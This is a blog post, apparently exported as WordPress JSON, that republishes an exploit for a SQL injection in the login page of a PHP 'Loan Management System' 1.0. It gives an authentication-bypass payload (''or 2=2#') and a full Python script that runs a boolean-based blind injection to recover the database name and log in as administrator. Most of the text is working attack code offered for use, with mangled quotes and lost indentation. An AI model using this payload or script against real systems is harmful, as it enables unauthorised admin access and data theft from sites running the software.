# Exploit Title: Loan Management System – SQL Injection via login page
\n# Date: 28\/07\/2022
\n# Exploit Author: saitamang
\n# Vendor Homepage: sourcecodester
\n# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/razormist\/LMS.zip
\n# Version: 1.0
\n# Tested on: Centos 7 apache2 + MySQL<\/p>\n
# The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.<\/p>\n
# Payload –> ‘or 2=2#<\/p>\n
# The python script to get the database name from SQL Injection Vulnerability can be execute below.<\/p>\n
import requests, string, sys, warnings, time, concurrent.futures
\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning
\nwarnings.simplefilter(‘ignore’,InsecureRequestWarning)<\/p>\n
dbname = ”<\/p>\n
req = requests.Session()<\/p>\n
def login(ip,username,password):
\ntarget = “http:\/\/%s\/LMS\/login.php” %ip<\/p>\n
data = {‘username’: username,’password’:password, ‘login’:”}
\nresponse = req.post(target, data=data)<\/p>\n
if ‘Login Successful’ in response.text:
\nprint(“[$] Success Login with credentials “+username+”:”+password+””)
\nelse:
\nprint(“[$] Failed Login with credentials “+username+”:”+password+””)<\/p>\n
def check_injection():
\n# library inj
\ntest_query0 = “‘or 1=2#”
\ntest_query1 = “‘or 2=2#”<\/p>\n
target = “http:\/\/%s\/LMS\/login.php” %ip<\/p>\n
result = “”<\/p>\n
for i in range(2):<\/p>\n
if i==0:
\ndata = {‘username’: test_query0,’password’:password, ‘login’:”}
\nresponse = req.post(target, data=data)
\nif response.text==”success”:
\nresult = response.text
\nelse:
\npass
\nif i==1:
\ndata = {‘username’: test_query1,’password’:password, ‘login’:”}
\nresponse = req.post(target, data=data)
\nif response.text==”success”:
\nresult = response.text
\nelse:
\npass
\nif result==”<script>alert(‘Login Successful’)<\/script><script>window.location=’home.php'<\/script>”:
\nprint(“[##] SQLI Boolean-Based Present at password field :)”)
\nelse:
\nprint(“[##] No SQLI :)”)<\/p>\n
def brute(dbname,password):
\ntarget = “http:\/\/%s\/LMS\/login.php” %ip<\/p>\n
l=0<\/p>\n
# checking length of dbname star with i = 1
\nfor i in (n+1 for n in range(9)):<\/p>\n
payload = “‘or 2=2 and length(database())='”+ str(i) +”‘#”
\n#print(payload)<\/p>\n
data = {‘username’: payload,’password’:password, ‘login’:”}
\nresponse = req.post(target, data=data)
\nresult = response.text
\n#print(result)<\/p>\n
if result==”<script>alert(‘Login Successful’)<\/script><script>window.location=’home.php'<\/script>”:
\nprint(“[##] The correct length of DB name is “+str(i))
\nl=i
\nbreak
\nelse:
\nprint(“[##] The length of DB name “+str(i)+” is wrong”)
\npass<\/p>\n
char = [char for char in string.ascii_lowercase]\nchar.append(‘_’)
\n#print(char)
\ndbname = []\n
for i in range(l):
\nfor j in char:
\npayload = “‘or 2=2 and substring(database(),” + str(i+1) + “,1)='” + str(j) +”‘#”<\/p>\n
data = {‘username’: payload,’password’:password, ‘login’:”}
\nresponse = req.post(target, data=data)
\nresult = response.text
\n#print(payload)
\n#print(result)<\/p>\n
if result==”<script>alert(‘Login Successful’)<\/script><script>window.location=’home.php'<\/script>”:
\ndbname.append(j)
\nprint(“[+] The ” + str(i+1) + ” char of DB name is “+str(j))
\nbreak
\nelse:
\npass<\/p>\n
dbname = ”.join(dbname)<\/p>\n
print(“[+] Database name retrieved –> “+dbname)
\nprint(“[+] Bypass completed :)”)
\nprint(“[+] Bypass payload can be used is \\n’or 2=2#”)<\/p>\n
username = “‘or 2=2#”<\/p>\n
print(“\\nRetry to login with new payload in password field”)
\nlogin(ip,username,password)<\/p>\n
if __name__ == “__main__”:
\nprint(” _____ _ __ “)
\nprint(” \/ ___\/____ _(_) \/_____ _____ ___ ____ _____ ____ _”)
\nprint(” \\__ \\\/ __ `\/ \/ __\/ __ `\/ __ `__ \\\/ __ `\/ __ \\\/ __ `\/”)
\nprint(” ___\/ \/ \/_\/ \/ \/ \/_\/ \/_\/ \/ \/ \/ \/ \/ \/ \/_\/ \/ \/ \/ \/ \/_\/ \/ “)
\nprint(“\/____\/\\__,_\/_\/\\__\/\\__,_\/_\/ \/_\/ \/_\/\\__,_\/_\/ \/_\/\\__, \/ “)
\nprint(” \/____\/ \\n\\n”)<\/p>\n
try:
\nip = sys.argv[1].strip()
\nusername = sys.argv[2].strip()
\npassword = sys.argv[3].strip()<\/p>\n
login(ip,username,password)
\ncheck_injection()
\nbrute(dbname,password)<\/p>\n
except IndexError:
\nprint(“[-] Usage %s <ip> <username> <password>” % sys.argv[0])
\nprint(“[-] Example: %s 192.168.149.130 admin admin123” % sys.argv[0])
\nsys.exit(-1)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Loan Management System – SQL Injection via login page # Date: 28\/07\/2022 # Exploit Author: saitamang # Vendor Homepage: sourcecodester # Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/razormist\/LMS.zip # Version: 1.0 # Tested on: Centos 7 apache2 + MySQL # The attack vector for the SQL Injection happened at the login page. The login can be …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28549","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28549","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28549"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28549\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28549"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28549"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28549"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}